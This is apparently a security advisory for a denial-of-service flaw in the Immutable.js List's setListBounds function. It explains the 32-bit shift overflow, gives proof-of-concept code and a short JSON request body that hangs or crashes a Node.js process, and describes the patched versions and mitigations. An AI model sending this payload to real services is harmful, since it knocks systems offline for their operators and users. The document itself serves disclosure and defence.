CVE-2026-59879: Immutable.js List 32-bit Trie Overflow leading to Denial of Service
A crafted oversized index passed to an Immutable.js List method triggers an infinite loop or heap exhaustion that crashes or permanently hangs the Node.js process with no way to catch the error.
The problem
Immutable.js List#set, List#setSize, List#setIn, and List#updateIn pass any supplied index or size through setListBounds(), which uses JavaScript's bitwise left-shift (1 << exp) to drive a level-raising loop inside the 32-wide trie. JavaScript bitwise operations are signed 32-bit, so once the exponent reaches 31 the result goes negative and the loop condition never becomes false.
On an empty List this produces an uncatchable CPU-spin infinite loop. On a populated List of 32 or more elements every loop iteration allocates a new trie node, exhausting the heap until V8 aborts the process with SIGABRT (exit 134) or the kernel OOM-kills it (exit 137).
A single small HTTP request carrying a numeric path segment is enough. The index may arrive as a numeric string directly from a request body, URL parameter, or setIn key-path. A companion setSize bug silently wraps large values via ToInt32, corrupting the list size without throwing.
Proof of concept
A working proof-of-concept for CVE-2026-59879 in immutable, with the exact payload below.
// Scenario 1: OOM -> process abort (SIGABRT, exit 134) within ~2 s
// Requires a populated List of >= 32 elements (fromJS of any 64-element array)
import { fromJS, List } from 'immutable';
fromJS({ items: new Array(64).fill(0) })
.setIn(['items', '1073741824'], 'x'); // index = 2**30, supplied as numeric string
// Scenario 2: Empty List -> hangs forever, uncatchable (try/catch never fires)
List().set(2 ** 30, 'x');
// Scenario 3: Silent size corruption via setSize
List([1, 2, 3]).setSize(2 ** 31); // => size 0 (silently cleared)
List([1, 2, 3]).setSize(2 ** 32 + 5); // => size 5 (wraps to 5)
// Minimal remote trigger (43-byte JSON body applied as: state = state.setIn(path, value))
// {"path":["items","1073741824"],"value":"x"}
// Any index in [2**30, 2**31) works: 1073741824, 2000000000, etc.The root cause is in the level-raising while loop inside setListBounds() in src/List.js. The loop condition is newTailOffset >= 1 << (newLevel + SHIFT). JavaScript shift counts are taken mod 32, so when newLevel + SHIFT hits 31 the expression evaluates to -2147483648 (negative), the condition stays permanently true, and the loop never exits.
On a populated List each iteration keeps a new VNode([newRoot]) alive, so heap fills and the process aborts. On an empty List no allocation happens, producing a pure CPU spin.
The companion setSize corruption (CWE-190) is a separate but related path: begin |= 0 and end |= 0 apply ToInt32, silently wrapping 2**31 to -2147483648 and 2**32 + 5 to 5, yielding a wrong final size with no error.
The patch (commit a1a1ee4 / f0bc997) adds a validateListBoundsRequest() call at the very top of setListBounds(), before any | 0 coercion, that throws a catchable RangeError when the computed capacity exceeds MAX_LIST_SIZE = 2**30. It also replaces every 1 << exp in the loop with a levelCapacity(exp) helper that uses the fast bitwise shift for exp <= 30 and falls back to 2 ** exp for deeper trees, eliminating the wrap-around entirely.
The fix
Upgrade to immutable 4.3.9 (v4 branch) or 5.1.8 (v5 branch). Both releases contain the same setListBounds() guard. If you cannot upgrade immediately, validate and clamp any externally supplied List index or setIn/updateIn key-path segment to be strictly less than 2**30 (1,073,741,824) before passing it to Immutable.
Running request handlers in a restartable worker and capping heap with --max-old-space-size limits blast radius but does not prevent the crash.
Reported by jdeniau.
Related research
- highCVE-2026-59880CVE-2026-59880: immutable Hash-Collision Algorithmic Complexity DoS
- high · 7.5CVE-2026-71314CVE-2026-71314: Nuxt Unauthenticated DoS via Unbounded v-for Expansion in Island Rendering
- high · 7.5CVE-2026-69152CVE-2026-69152: brace-expansion DoS via unbounded intermediate arrays
- highShescape: Quadratic-Time Denial of Service in Flag Protection